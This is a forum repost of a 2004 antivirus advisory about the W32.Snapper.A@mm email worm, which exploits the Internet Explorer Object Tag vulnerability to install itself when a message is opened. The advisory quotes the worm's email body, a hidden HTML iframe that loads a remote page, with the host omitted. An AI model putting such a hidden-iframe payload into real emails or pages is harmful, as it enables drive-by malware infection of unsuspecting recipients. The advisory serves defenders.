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General discussion

W32.Snapper.A@mm

by Marianna Schmudlach Mar 24, 2004 9:38AM PST

Discovered on: March 24, 2004
Last Updated on: March 24, 2004 05:01:18 PM

W32.Snapper.A@mm is a worm that spreads to all the contacts in the Windows Address Book. It does not send itself as an email attachment. Instead, it exploits the Internet Explorer Object Tag Vulnerability that is described in Microsoft Security Bulletin MS03-032. This vulnerability allows W32.Snapper.A@mm to automatically download and install the worm when the email is opened.

The email has the following characteristics:

From: <Spoofed>
Subject: Re:
Message: The message body consists of the following HTML code, which will appear to be a blank message when loaded by most mail clients:

<HTML><BODY><IFRAME src='http://<omitted>/banner.htm' style='display:none'></IFRAME></HTML></BODY>

Also Known As: I-Worm.Snapper [Kaspersky], W32/Snapper@MM [McAfee], Snapper [F-Secure]

Type: Worm

http://securityresponse.symantec.com/avcenter/venc/data/w32.snapper.a@mm.html